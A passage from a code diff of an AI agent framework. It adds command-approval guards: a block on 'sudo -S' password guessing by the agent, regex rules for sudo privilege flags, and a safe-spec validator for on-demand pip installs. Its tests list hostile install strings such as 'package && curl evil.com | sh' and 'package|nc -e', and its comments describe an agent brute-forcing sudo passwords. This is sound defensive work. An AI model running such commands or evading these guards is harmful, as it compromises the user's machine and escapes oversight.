_SUDO_STDIN_BLOCK: + result = check_all_command_guards(cmd, "local") + assert result["approved"] is False, f"expected block on {cmd!r}" + # Should NOT be marked as hardline (it's sudo-specific) + assert result.get("hardline") is not True + assert "BLOCKED" in result["message"] + assert "sudo -S" in result["message"].lower() or "sudo password" in result["message"].lower() + + +def test_sudo_stdin_guard_not_blocked_by_yolo(clean_session, monkeypatch): + """yolo/approvals.mode=off must NOT bypass sudo stdin guard.""" + monkeypatch.setenv("HERMES_YOLO_MODE", "1") + + for cmd in _SUDO_STDIN_BLOCK_YOLO: + result = check_all_command_guards(cmd, "local") + assert result["approved"] is False, f"yolo leaked sudo guard on {cmd!r}" + + +def test_sudo_stdin_guard_container_bypass(clean_session): + """Containerized backends still bypass — they can't touch the host.""" + for env in ("docker", "singularity", "modal", "daytona", "vercel_sandbox"): + for cmd in _SUDO_STDIN_BLOCK: + result = check_all_command_guards(cmd, env) + assert result["approved"] is True, f"container {env} should bypass sudo guard on {cmd!r}" diff --git a/tests/tools/test_lazy_deps.py b/tests/tools/test_lazy_deps.py new file mode 100644 index 000000000000..9beecc0d995a --- /dev/null +++ b/tests/tools/test_lazy_deps.py @@ -0,0 +1,228 @@ +"""Tests for tools.lazy_deps — the supply-chain-resilient on-demand installer. + +The lazy_deps module is the architectural fix for the "one quarantined +package nukes 10 unrelated extras" problem. It exposes ``ensure(feature)`` +which only installs from a strict allowlist, refuses anything that looks +like a URL / file path, runs venv-scoped, and respects the +``security.allow_lazy_installs`` config flag. + +These tests cover the security boundary and the public API. The real pip +call is mocked — we never actually shell out during unit tests. +""" + +from __future__ import annotations + +from typing import Iterator + +import pytest + +import tools.lazy_deps as ld + + +# --------------------------------------------------------------------------- +# Spec safety +# --------------------------------------------------------------------------- + + +class TestSpecSafety: + @pytest.mark.parametrize("spec", [ + "mistralai>=2.3.0,<3", + "elevenlabs>=1.0,<2", + "honcho-ai>=2.0.1,<3", + "boto3>=1.35.0,<2", + "mautrix[encryption]>=0.20,<1", + "google-api-python-client>=2.100,<3", + "youtube-transcript-api>=1.2.0", + "qrcode>=7.0,<8", + "package", # bare name, no version + "package==1.0.0", + "package~=1.0", + ]) + def test_safe_specs_pass(self, spec): + assert ld._spec_is_safe(spec), f"expected {spec!r} to be safe" + + @pytest.mark.parametrize("spec", [ + # URL-shaped → rejected (no remote origin override allowed) + "git+https://github.com/foo/bar.git", + "https://example.com/foo.tar.gz", + # File path → rejected + "/etc/passwd", + "./local-malware", + "../escape", + # Shell metacharacters → rejected + "package; rm -rf /", + "package && curl evil.com | sh", + "package`whoami`", + "package$(whoami)", + "package|nc -e", + # Pip flag injection → rejected + "--index-url=http://evil/", + "-r requirements.txt", + # Whitespace control chars → rejected + "package\nshell-injection", + "package\rmore", + # Empty / overly long → rejected + "", + "x" * 500, + ]) + def test_unsafe_specs_rejected(self, spec): + assert not ld._spec_is_safe(spec), \ + f"expected {spec!r} to be rejected" + + +# --------------------------------------------------------------------------- +# Allowlist enforcement +# --------------------------------------------------------------------------- + + +class TestAllowlist: + def test_unknown_feature_raises(self, monkeypatch): + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) + with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"): + ld.ensure("not.a.real.feature") + + def test_lazy_deps_keys_use_namespace_dot_name(self): + # Sanity check on the data shape — every key should be at least + # one dot-separated namespace. + for key in ld.LAZY_DEPS: + assert "." in key, f"feature {key!r} should be namespace.name" + + def test_every_lazy_dep_spec_passes_safety(self): + # Defence in depth — even though specs are author-controlled, + # the safety regex must accept everything we ship. + for feature, specs in ld.LAZY_DEPS.items(): + for spec in specs: + assert ld._spec_is_safe(spec), \ + f"{feature}: spec {spec!r} fails safety check" + + def test_feature_install_command_returns_pip_invocation(self): + cmd = ld.feature_install_command("memory.honcho") + assert cmd is not None + assert cmd.startswith("uv pip install") + assert "honcho-ai" in cmd + + def test_feature_install_command_unknown(self): + assert ld.feature_install_command("not.real") is None + + +# --------------------------------------------------------------------------- +# allow_lazy_installs gating +# --------------------------------------------------------------------------- + + +class TestSecurityGating: + def test_disabled_via_config_raises(self, monkeypatch): + # Pretend honcho is missing AND lazy installs are disabled. + monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("packageX>=1.0,<2",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False) + with pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"): + ld.ensure("test.feat", prompt=False) + + def test_disabled_via_env_var(self, monkeypatch): + monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1") + # Bypass config layer; the env var alone must disable. + monkeypatch.setattr( + "hermes_cli.config.load_config", + lambda: {"security": {"allow_lazy_installs": True}}, + ) + assert ld._allow_lazy_installs() is False + + def test_default_allows(self, monkeypatch): + monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) + monkeypatch.setattr( + "hermes_cli.config.load_config", + lambda: {"security": {}}, + ) + assert ld._allow_lazy_installs() is True + + def test_config_failure_fails_open(self, monkeypatch): + # If config can't be read at all, we ALLOW installs rather than + # blocking the user out of their own backends. + monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) + monkeypatch.setattr( + "hermes_cli.config.load_config", + lambda: (_ for _ in ()).throw(RuntimeError("config broken")), + ) + assert ld._allow_lazy_installs() is True + + +# --------------------------------------------------------------------------- +# ensure() happy/sad paths +# --------------------------------------------------------------------------- + + +class TestEnsure: + def test_already_satisfied_is_noop(self, monkeypatch): + # If the package is importable, ensure() returns without calling pip. + monkeypatch.setitem(ld.LAZY_DEPS, "test.satisfied", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True) + # If pip were called, this would fail loudly. + monkeypatch.setattr( + ld, "_venv_pip_install", + lambda *a, **kw: pytest.fail("pip should not be called"), + ) + ld.ensure("test.satisfied", prompt=False) # no exception + + def test_install_success_path(self, monkeypatch): + monkeypatch.setitem(ld.LAZY_DEPS, "test.install", ("zzzfake>=1",)) + # First check sees missing, post-install check sees installed. + call_count = {"n": 0} + + def fake_satisfied(spec): + call_count["n"] += 1 + return call_count["n"] > 1 # missing first, installed after + + monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied) + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) + monkeypatch.setattr( + ld, "_venv_pip_install", + lambda specs, **kw: ld._InstallResult(True, "ok", ""), + ) + ld.ensure("test.install", prompt=False) + + def test_install_failure_surfaces_pip_stderr(self, monkeypatch): + monkeypatch.setitem(ld.LAZY_DEPS, "test.fail", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) + monkeypatch.setattr( + ld, "_venv_pip_install", + lambda specs, **kw: ld._InstallResult( + False, "", "ERROR: package not found on PyPI" + ), + ) + with pytest.raises(ld.FeatureUnavailable, match="pip install failed"): + ld.ensure("test.fail", prompt=False) + + def test_install_succeeds_but_still_missing_raises(self, monkeypatch): + # Pip says success but the package still isn't importable + # (e.g. site-packages caching, wrong python). Surface this. + monkeypatch.setitem(ld.LAZY_DEPS, "test.cache", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) + monkeypatch.setattr( + ld, "_venv_pip_install", + lambda specs, **kw: ld._InstallResult(True, "ok", ""), + ) + with pytest.raises(ld.FeatureUnavailable, match="still not importable"): + ld.ensure("test.cache", prompt=False) + + +# --------------------------------------------------------------------------- +# is_available +# --------------------------------------------------------------------------- + + +class TestIsAvailable: + def test_unknown_feature_returns_false(self): + assert ld.is_available("not.a.thing") is False + + def test_satisfied_returns_true(self, monkeypatch): + monkeypatch.setitem(ld.LAZY_DEPS, "test.avail", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True) + assert ld.is_available("test.avail") is True + + def test_missing_returns_false(self, monkeypatch): + monkeypatch.setitem(ld.LAZY_DEPS, "test.miss", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) + assert ld.is_available("test.miss") is False diff --git a/tests/tools/test_send_message_tool.py b/tests/tools/test_send_message_tool.py index 024cf43f9481..fa810eb5c54d 100644 --- a/tests/tools/test_send_message_tool.py +++ b/tests/tools/test_send_message_tool.py @@ -2229,3 +2229,106 @@ async def fake_send(pconfig, chat_id, message, **kwargs): assert result["success"] is True assert result["message_id"] == "abc-123" assert result["extra_field"] == "preserved" + + +# --------------------------------------------------------------------------- +# _check_send_message — availability gating +# --------------------------------------------------------------------------- + +class TestCheckSendMessage: + """The tool's check_fn governs whether the model sees ``send_message`` as + callable for a given session. The four passing conditions are: + + 1. ``HERMES_KANBAN_TASK`` is set (worker spawned by the kanban dispatcher + — parent gateway is by definition running, but the worker's + ``HERMES_HOME`` may be a profile dir without a ``gateway.pid``). + 2. ``HERMES_SESSION_PLATFORM`` resolves to a non-empty, non-``local`` value + (the session is wired to a messaging platform like Telegram). + 3. ``is_gateway_running()`` returns True (CLI / orchestrator profile with + a live gateway colocated under the same ``HERMES_HOME``). + 4. None of the above → False, tool is hidden. + """ + + def test_kanban_task_env_grants_access(self, monkeypatch): + """Workers spawned by the dispatcher (HERMES_KANBAN_TASK set) must be + allowed regardless of session_platform / gateway-pid state.""" + from tools.send_message_tool import _check_send_message + + monkeypatch.setenv("HERMES_KANBAN_TASK", "t_abc12345") + monkeypatch.delenv("HERMES_SESSION_PLATFORM", raising=False) + + with patch("gateway.session_context.get_session_env", return_value=""), \ + patch("gateway.status.is_gateway_running", return_value=False): + assert _check_send_message() is True + + def test_kanban_task_env_short_circuits_before_gateway_check(self, monkeypatch): + """Honoring HERMES_KANBAN_TASK must not depend on importing or calling + gateway.status — the worker may run with a HERMES_HOME that has no + gateway.pid, and we don't want that import path to be load-bearing.""" + from tools.send_message_tool import _check_send_message + + monkeypatch.setenv("HERMES_KANBAN_TASK", "t_abc12345") + + with patch("gateway.session_context.get_session_env", + side_effect=AssertionError("session_context not consulted " + "when HERMES_KANBAN_TASK is set")), \ + patch("gateway.status.is_gateway_running", + side_effect=AssertionError("gateway.status not consulted " + "when HERMES_KANBAN_TASK is set")): + assert _check_send_message() is True + + def test_messaging_platform_session_grants_access(self, monkeypatch): + """Telegram/Discord/etc. sessions pass via the platform branch even + without HERMES_KANBAN_TASK.""" + from tools.send_message_tool import _check_send_message + + monkeypatch.delenv("HERMES_KANBAN_TASK", raising=False) + + with patch("gateway.session_context.get_session_env", return_value="telegram"), \ + patch("gateway.status.is_gateway_running", return_value=False): + assert _check_send_message() is True + + def test_local_platform_falls_through_to_gateway_check(self, monkeypatch): + """``HERMES_SESSION_PLATFORM=local`` means CLI-style — must defer to + is_gateway_running() rather than auto-grant.""" + from tools.send_message_tool import _check_send_message + + monkeypatch.delenv("HERMES_KANBAN_TASK", raising=False) + + with patch("gateway.session_context.get_session_env", return_value="local"), \ + patch("gateway.status.is_gateway_running", return_value=True) as gw_mock: + assert _check_send_message() is True + gw_mock.assert_called_once() + + def test_running_gateway_grants_access(self, monkeypatch): + """Plain CLI session (no kanban task, empty platform) with a live + gateway: tool is callable.""" + from tools.send_message_tool import _check_send_message + + monkeypatch.delenv("HERMES_KANBAN_TASK", raising=False) + + with patch("gateway.session_context.get_session_env", return_value=""), \ + patch("gateway.status.is_gateway_running", return_value=True): + assert _check_send_message() is True + + def test_no_signals_means_unavailable(self, monkeypatch): + """No kanban task, no platform, no gateway: tool is hidden.""" + from tools.send_message_tool import _check_send_message + + monkeypatch.delenv("HERMES_KANBAN_TASK", raising=False) + + with patch("gateway.session_context.get_session_env", return_value=""), \ + patch("gateway.status.is_gateway_running", return_value=False): + assert _check_send_message() is False + + def test_gateway_status_import_error_is_swallowed(self, monkeypatch): + """If gateway.status can't be imported (unusual deployment / partial + install), the check returns False rather than raising.""" + from tools.send_message_tool import _check_send_message + + monkeypatch.delenv("HERMES_KANBAN_TASK", raising=False) + + with patch("gateway.session_context.get_session_env", return_value=""), \ + patch("gateway.status.is_gateway_running", + side_effect=ImportError("simulated")): + assert _check_send_message() is False diff --git a/tests/tools/test_transcription_dotenv_fallback.py b/tests/tools/test_transcription_dotenv_fallback.py index 39f5ca108e3c..73e7a42a59bf 100644 --- a/tests/tools/test_transcription_dotenv_fallback.py +++ b/tests/tools/test_transcription_dotenv_fallback.py @@ -69,6 +69,12 @@ def test_explicit_groq_sees_dotenv(self): assert tt._get_provider({"enabled": True, "provider": "groq"}) == "groq" def test_explicit_mistral_sees_dotenv(self): + """Mistral STT is intentionally disabled (PyPI quarantine 2026-05-12). + + Even with the dotenv key visible, explicit `provider: mistral` must + return "none" with a warning. Restore the previous behavior once + `mistralai` is un-quarantined on PyPI. + """ from tools import transcription_tools as tt with patch.object(tt, "_HAS_FASTER_WHISPER", False), \ @@ -76,7 +82,7 @@ def test_explicit_mistral_sees_dotenv(self): patch.object(tt, "_has_local_command", return_value=False), \ patch("hermes_cli.config.load_env", return_value={"MISTRAL_API_KEY": "dotenv-secret"}): - assert tt._get_provider({"enabled": True, "provider": "mistral"}) == "mistral" + assert tt._get_provider({"enabled": True, "provider": "mistral"}) == "none" def test_explicit_xai_sees_dotenv(self): from tools import transcription_tools as tt diff --git a/tests/tools/test_transcription_tools.py b/tests/tools/test_transcription_tools.py index e5b27d9e4d4b..ce45cb9f1e61 100644 --- a/tests/tools/test_transcription_tools.py +++ b/tests/tools/test_transcription_tools.py @@ -978,16 +978,23 @@ def test_permission_error(self, monkeypatch, sample_ogg, mock_mistral_module): # ============================================================================ class TestGetProviderMistral: - """Mistral-specific provider selection tests.""" + """Mistral-specific provider selection tests. + + Mistral STT is intentionally disabled in 2026-05-12+ while the + `mistralai` PyPI package is quarantined. These tests document that + explicit `provider: mistral` always returns "none" with a warning, and + that auto-detect skips mistral entirely. + """ def test_mistral_when_key_and_sdk_available(self, monkeypatch): + """Even with key + SDK, explicit mistral returns 'none' (disabled).""" monkeypatch.setenv("MISTRAL_API_KEY", "test-key") with patch("tools.transcription_tools._HAS_MISTRAL", True): from tools.transcription_tools import _get_provider - assert _get_provider({"provider": "mistral"}) == "mistral" + assert _get_provider({"provider": "mistral"}) == "none" def test_mistral_explicit_no_key_returns_none(self, monkeypatch): - """Explicit mistral with no key returns none — no cross-provider fallback.""" + """Explicit mistral with no key returns none.""" monkeypatch.delenv("MISTRAL_API_KEY", raising=False) with patch("tools.transcription_tools._HAS_MISTRAL", True): from tools.transcription_tools import _get_provider @@ -1000,18 +1007,23 @@ def test_mistral_explicit_no_sdk_returns_none(self, monkeypatch): from tools.transcription_tools import _get_provider assert _get_provider({"provider": "mistral"}) == "none" - def test_auto_detect_mistral_after_openai(self, monkeypatch): - """Auto-detect: mistral is tried after openai when both are unavailable.""" + def test_auto_detect_skips_mistral(self, monkeypatch): + """Auto-detect intentionally skips mistral (quarantine workaround). + + With no other provider available but MISTRAL_API_KEY set, the result + must be 'none' — mistral is no longer in the auto-detect chain. + """ monkeypatch.delenv("GROQ_API_KEY", raising=False) monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False) monkeypatch.delenv("OPENAI_API_KEY", raising=False) + monkeypatch.delenv("XAI_API_KEY", raising=False) monkeypatch.setenv("MISTRAL_API_KEY", "test-key") with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ patch("tools.transcription_tools._has_local_command", return_value=False), \ patch("tools.transcription_tools._HAS_OPENAI", False), \ patch("tools.transcription_tools._HAS_MISTRAL", True): from tools.transcription_tools import _get_provider - assert _get_provider({}) == "mistral" + assert _get_provider({}) == "none" def test_auto_detect_openai_preferred_over_mistral(self, monkeypatch): """Auto-detect: openai is preferred over mistral (both paid, openai more common).""" @@ -1285,8 +1297,13 @@ def test_auto_detect_xai_after_mistral(self, monkeypatch): from tools.transcription_tools import _get_provider assert _get_provider({}) == "xai" - def test_auto_detect_mistral_preferred_over_xai(self, monkeypatch): - """Auto-detect: mistral is preferred over xai.""" + def test_auto_detect_mistral_skipped_xai_wins(self, monkeypatch): + """Auto-detect skips mistral entirely (quarantine) — xai wins. + + Even with MISTRAL_API_KEY set, mistral is no longer in the + auto-detect chain. xai is the next-best fallback when the + local/groq/openai chain is unavailable. + """ monkeypatch.setenv("MISTRAL_API_KEY", "test-key") monkeypatch.setenv("XAI_API_KEY", "xai-test") monkeypatch.delenv("GROQ_API_KEY", raising=False) @@ -1297,7 +1314,7 @@ def test_auto_detect_mistral_preferred_over_xai(self, monkeypatch): patch("tools.transcription_tools._HAS_OPENAI", False), \ patch("tools.transcription_tools._HAS_MISTRAL", True): from tools.transcription_tools import _get_provider - assert _get_provider({}) == "mistral" + assert _get_provider({}) == "xai" def test_auto_detect_no_key_returns_none(self, monkeypatch): """Auto-detect: xai skipped when no key is set.""" diff --git a/tests/tools/test_tts_mistral.py b/tests/tools/test_tts_mistral.py index 6e98946b6c0c..818a6c1d1174 100644 --- a/tests/tools/test_tts_mistral.py +++ b/tests/tools/test_tts_mistral.py @@ -162,27 +162,34 @@ def test_model_from_config_overrides_default( class TestTtsDispatcherMistral: - def test_dispatcher_routes_to_mistral( + def test_dispatcher_returns_disabled_error( self, tmp_path, mock_mistral_module, monkeypatch ): + """Mistral TTS is intentionally disabled (PyPI quarantine 2026-05-12). + + The dispatcher must short-circuit with a clear status message before + attempting any SDK import, even when MISTRAL_API_KEY is set and a + mock SDK is wired in. Restore routing once `mistralai` is + un-quarantined on PyPI. + """ import json from tools.tts_tool import text_to_speech_tool monkeypatch.setenv("MISTRAL_API_KEY", "test-key") - mock_mistral_module.audio.speech.complete.return_value = MagicMock( - audio_data=base64.b64encode(b"audio").decode() - ) output_path = str(tmp_path / "out.mp3") with patch("tools.tts_tool._load_tts_config", return_value={"provider": "mistral"}): result = json.loads(text_to_speech_tool("Hello", output_path=output_path)) - assert result["success"] is True - assert result["provider"] == "mistral" - mock_mistral_module.audio.speech.complete.assert_called_once() + assert result["success"] is False + assert "temporarily disabled" in result["error"] + assert "quarantined" in result["error"] + # SDK must not have been called. + mock_mistral_module.audio.speech.complete.assert_not_called() def test_dispatcher_returns_error_when_sdk_not_installed(self, tmp_path, monkeypatch): + """Same disabled message regardless of SDK presence.""" import json from tools.tts_tool import text_to_speech_tool @@ -196,7 +203,7 @@ def test_dispatcher_returns_error_when_sdk_not_installed(self, tmp_path, monkeyp ) assert result["success"] is False - assert "mistralai" in result["error"] + assert "temporarily disabled" in result["error"] class TestCheckTtsRequirementsMistral: diff --git a/tests/tools/test_windows_native_support.py b/tests/tools/test_windows_native_support.py index 4d4091e5fcbc..550249b5ce34 100644 --- a/tests/tools/test_windows_native_support.py +++ b/tests/tools/test_windows_native_support.py @@ -420,12 +420,21 @@ def test_pyproject_declares_tzdata_for_win32(self): root = Path(__file__).resolve().parents[2] source = (root / "pyproject.toml").read_text(encoding="utf-8") # The dependency line should be conditional on sys_platform == 'win32' - # and should NOT be in the core dependencies for Linux/macOS. - assert ( - 'tzdata>=2023.3; sys_platform == \'win32\'' in source - or "tzdata>=2023.3; sys_platform == 'win32'" in source - or 'tzdata>=2023.3; sys_platform == "win32"' in source - ), "tzdata must be a Windows-only dep in pyproject.toml dependencies" + # and should NOT be in the core dependencies for Linux/macOS. We do + # not care about the exact pinned version (which is bumped over time) + # — only that tzdata is declared with a win32 marker. This is an + # invariant check, not a snapshot test. + import re + # Match `"tzdata` … `; sys_platform == 'win32'"` allowing any version + # specifier in between (==X.Y.Z, >=X.Y.Z, bool: ] +# ========================================================================= +# Sudo stdin guard — block password guessing via "sudo -S" +# ========================================================================= +# When SUDO_PASSWORD is not configured, any explicit "sudo -S" in the +# command is the LLM piping a guessed password via stdin. This is a +# brute-force attack vector: the model iterates through candidate +# passwords, inspects sudo's "Sorry, try again" output, and refines. +# Treat this as an unconditional block — there is never a legitimate +# reason for the agent to pipe passwords to sudo -S when no password +# has been configured. +_SUDO_STDIN_RE = re.compile( + r'(?:^|[;&|`\n]|&&|\|\||\$\()\s*sudo\s+-S\b', + re.IGNORECASE) + + +def _check_sudo_stdin_guard(command: str) -> tuple: + """Detect ``sudo -S`` (stdin password) without configured SUDO_PASSWORD. + + When SUDO_PASSWORD is set, ``_transform_sudo_command`` injects ``-S`` + internally — that path is legitimate and handled elsewhere. This guard + only fires when SUDO_PASSWORD is *not* set, meaning the LLM explicitly + wrote ``sudo -S`` to pipe a guessed password. + + Returns: + (is_blocked: bool, description: str | None) + """ + if "SUDO_PASSWORD" in os.environ: + return (False, None) + normalized = _normalize_command_for_detection(command).lower() + if _SUDO_STDIN_RE.search(normalized): + return (True, "sudo password guessing via stdin (sudo -S)") + return (False, None) + + def detect_hardline_command(command: str) -> tuple: """Check if a command matches the unconditional hardline blocklist. @@ -250,6 +284,20 @@ def _hardline_block_result(description: str) -> dict: } +def _sudo_stdin_block_result(description: str) -> dict: + """Build the standard block result for sudo stdin guard.""" + return { + "approved": False, + "message": ( + f"BLOCKED: {description}. " + "Do not pipe passwords to 'sudo -S' — this is a brute-force " + "attack vector. Set SUDO_PASSWORD in your .env file if the " + "agent needs passwordless sudo, or run the sudo command " + "manually in your own terminal." + ), + } + + # ========================================================================= # Dangerous command patterns # ========================================================================= @@ -320,6 +368,25 @@ def _hardline_block_result(description: str) -> dict: # a script is first made executable then immediately run. The script # content may contain dangerous commands that individual patterns miss. (r'\bchmod\s+\+x\b.*[;&|]+\s*\./', "chmod +x followed by immediate execution"), + # Sudo with stdin / askpass / shell / list-privs flags. An LLM-driven + # agent has no TTY, so sudo invocations that succeed without human + # interaction are those reading the password from stdin (-S/--stdin) + # or via an askpass helper (-A/--askpass). The shell-launch (-s) and + # list-privileges (-a) flags are also gated since they are + # privilege-relevant invocations the agent can chain after acquiring + # the password (e.g. read SUDO_PASSWORD from .env -> sudo -S -s -> + # root shell). Plain `sudo cmd` (no flag) is TTY-bound and excluded. + # `_normalize_command_for_detection` lowercases input before pattern + # matching, so case variants of S/s and A/a collapse — both forms + # are gated below. Lazy `[^;|&\n]*?` allows flag arguments (e.g. + # `sudo -u root -S whoami`) without spanning command separators. See + # #17873 category 4. + (r'\bsudo\b[^;|&\n]*?\s+(?:-s\b|--stdin\b|-a\b|--askpass\b)', + "sudo with privilege flag (stdin/askpass/shell/list)"), + # Combined short-flag form: -nS, -ns, -sa, -las — sudo flags packed + # into a single -X token. Catches the same threat class. + (r'\bsudo\b[^;|&\n]*?\s+-[a-z]*[sa][a-z]*\b', + "sudo with combined-flag privilege escalation"), ] @@ -692,13 +759,13 @@ def get_input(): return "deny" choice = result["choice"] - if choice in ('o', 'once'): + if choice in {'o', 'once'}: print(t("approval.allowed_once")) return "once" - elif choice in ('s', 'session'): + elif choice in {'s', 'session'}: print(t("approval.allowed_session")) return "session" - elif choice in ('a', 'always'): + elif choice in {'a', 'always'}: if not allow_permanent: print(t("approval.allowed_session")) return "session" @@ -764,7 +831,7 @@ def _get_cron_approval_mode() -> str: from hermes_cli.config import load_config config = load_config() mode = str(cfg_get(config, "approvals", "cron_mode", default="deny")).lower().strip() - if mode in ("approve", "off", "allow", "yes"): + if mode in {"approve", "off", "allow", "yes"}: return "approve" return "deny" except Exception: @@ -833,7 +900,7 @@ def check_dangerous_command(command: str, env_type: str, Returns: {"approved": True/False, "message": str or None, ...} """ - if env_type in ("docker", "singularity", "modal", "daytona", "vercel_sandbox"): + if env_type in {"docker", "singularity", "modal", "daytona", "vercel_sandbox"}: return {"approved": True, "message": None} # Hardline floor: commands with no recovery path (rm -rf /, mkfs, dd @@ -958,7 +1025,7 @@ def check_all_command_guards(command: str, env_type: str, other was shown to the user. """ # Skip containers for both checks - if env_type in ("docker", "singularity", "modal", "daytona", "vercel_sandbox"): + if env_type in {"docker", "singularity", "modal", "daytona", "vercel_sandbox"}: return {"approved": True, "message": None} # Hardline floor: unconditional block for catastrophic commands @@ -970,6 +1037,17 @@ def check_all_command_guards(command: str, env_type: str, logger.warning("Hardline block: %s (command: %s)", hardline_desc, command[:200]) return _hardline_block_result(hardline_desc) + # == Sudo stdin guard == + # Like the hardline floor above, this is unconditional: there is never a + # legitimate reason for the agent to pipe passwords to sudo -S when no + # SUDO_PASSWORD has been configured. This must fire BEFORE the yolo + # check so even yolo/smart approval/mode=off cannot bypass it. + is_sudo_guess, sudo_guess_desc = _check_sudo_stdin_guard(command) + if is_sudo_guess: + logger.warning("Sudo stdin guard block: %s (command: %s)", + sudo_guess_desc, command[:200]) + return _sudo_stdin_block_result(sudo_guess_desc) + # --yolo or approvals.mode=off: bypass all approval prompts. # Gateway /yolo is session-scoped; CLI --yolo remains process-scoped. approval_mode = _get_approval_mode() @@ -1026,7 +1104,7 @@ def check_all_command_guards(command: str, env_type: str, # Previously, tirith "block" was a hard block with no approval prompt. # Now both block and warn go through the approval flow so users can # inspect the explanation and approve if they understand the risk. - if tirith_result["action"] in ("block", "warn"): + if tirith_result["action"] in {"block", "warn"}: findings = tirith_result.get("findings") or [] rule_id = findings[0].get("rule_id", "unknown") if findings else "unknown" tirith_key = f"tirith:{rule_id}" diff --git a/tools/browser_providers/browser_use.py b/tools/browser_providers/browser_use.py index f8e9a8d9fa40..260249ef0bb7 100644 --- a/tools/browser_providers/browser_use.py +++ b/tools/browser_providers/browser_use.py @@ -184,7 +184,7 @@ def close_session(self, session_id: str) -> bool: json={"action": "stop"}, timeout=10, ) - if response.status_code in (200, 201, 204): + if response.status_code in {200, 201, 204}: logger.debug("Successfully closed Browser Use session %s", session_id) return True else: diff --git a/tools/browser_providers/browserbase.py b/tools/browser_providers/browserbase.py index 338ebf898957..5076af4c7a6f 100644 --- a/tools/browser_providers/browserbase.py +++ b/tools/browser_providers/browserbase.py @@ -180,7 +180,7 @@ def close_session(self, session_id: str) -> bool: }, timeout=10, ) - if response.status_code in (200, 201, 204): + if response.status_code in {200, 201, 204}: logger.debug("Successfully closed Browserbase session %s", session_id) return True else: diff --git a/tools/browser_providers/firecrawl.py b/tools/browser_providers/firecrawl.py index 3f8556fc1246..17001f72f1dc 100644 --- a/tools/browser_providers/firecrawl.py +++ b/tools/browser_providers/firecrawl.py @@ -79,7 +79,7 @@ def close_session(self, session_id: str) -> bool: headers=self._headers(), timeout=10, ) - if response.status_code in (200, 201, 204): + if response.status_code in {200, 201, 204}: logger.debug("Successfully closed Firecrawl session %s", session_id) return True else: diff --git a/tools/browser_supervisor.py b/tools/browser_supervisor.py index 371210350ff2..af8d40ee1853 100644 --- a/tools/browser_supervisor.py +++ b/tools/browser_supervisor.py @@ -412,7 +412,7 @@ def respond_to_dialog( ``{"ok": False, "error": "..."}`` on a recoverable error (no dialog, ambiguous dialog_id, supervisor inactive). """ - if action not in ("accept", "dismiss"): + if action not in {"accept", "dismiss"}: return {"ok": False, "error": f"action must be 'accept' or 'dismiss', got {action!r}"} with self._state_lock: @@ -1206,7 +1206,7 @@ async def _on_target_attached(self, params: Dict[str, Any]) -> None: info = params.get("targetInfo") or {} sid = params.get("sessionId") target_type = info.get("type") - if not sid or target_type not in ("iframe", "worker"): + if not sid or target_type not in {"iframe", "worker"}: return self._child_sessions[sid] = {"info": info, "type": target_type} @@ -1290,7 +1290,7 @@ def _on_console(self, params: Dict[str, Any], *, level_from: str) -> None: event = ConsoleEvent(ts=time.time(), level="exception", text=text, url=url) else: raw_level = str(params.get("type") or "log") - level = "error" if raw_level in ("error", "assert") else ( + level = "error" if raw_level in {"error", "assert"} else ( "warning" if raw_level == "warning" else "log" ) args = params.get("args") or [] diff --git a/tools/browser_tool.py b/tools/browser_tool.py index b1986f7b64b8..40ba7cab25c5 100644 --- a/tools/browser_tool.py +++ b/tools/browser_tool.py @@ -918,7 +918,7 @@ def _url_is_private(url: str) -> bool: # Hostname — must resolve to confirm it's private (bare "localhost" # resolves to 127.0.0.1 via /etc/hosts). Short-circuit on obvious # names to avoid a DNS hop. - if hostname in ("localhost",) or hostname.endswith(".localhost"): + if hostname in {"localhost",} or hostname.endswith(".localhost"): return True if hostname.endswith(".local") or hostname.endswith(".lan") or hostname.endswith(".internal"): return True @@ -2499,7 +2499,7 @@ def browser_scroll(direction: str, task_id: Optional[str] = None) -> str: JSON string with scroll result """ # Validate direction - if direction not in ["up", "down"]: + if direction not in {"up", "down"}: return json.dumps({ "success": False, "error": f"Invalid direction '{direction}'. Use 'up' or 'down'." diff --git a/tools/checkpoint_manager.py b/tools/checkpoint_manager.py index cab877bc6231..16ce12fc60ef 100644 --- a/tools/checkpoint_manager.py +++ b/tools/checkpoint_manager.py @@ -639,7 +639,7 @@ def ensure_checkpoint(self, working_dir: str, reason: str = "auto") -> bool: abs_dir = str(_normalize_path(working_dir)) # Skip root, home, and other overly broad directories - if abs_dir in ("/", str(Path.home())): + if abs_dir in {"/", str(Path.home())}: logger.debug("Checkpoint skipped: directory too broad (%s)", abs_dir) return False @@ -1312,8 +1312,7 @@ def prune_checkpoints( for p in child.rglob("*"): try: mt = p.stat().st_mtime - if mt > newest: - newest = mt + newest = max(newest, mt) except OSError: continue except OSError: @@ -1455,8 +1454,7 @@ def prune_checkpoints( size_after = _dir_size_bytes(base) delta = size_before - size_after - if delta > result["bytes_freed"]: - result["bytes_freed"] = delta + result["bytes_freed"] = max(result["bytes_freed"], delta) return result diff --git a/tools/code_execution_tool.py b/tools/code_execution_tool.py index 092f7e37e97d..3822ce539f23 100644 --- a/tools/code_execution_tool.py +++ b/tools/code_execution_tool.py @@ -612,7 +612,7 @@ def _get_or_create_env(task_id: str): cwd = overrides.get("cwd") or config["cwd"] container_config = None - if env_type in ("docker", "singularity", "modal", "daytona", "vercel_sandbox"): + if env_type in {"docker", "singularity", 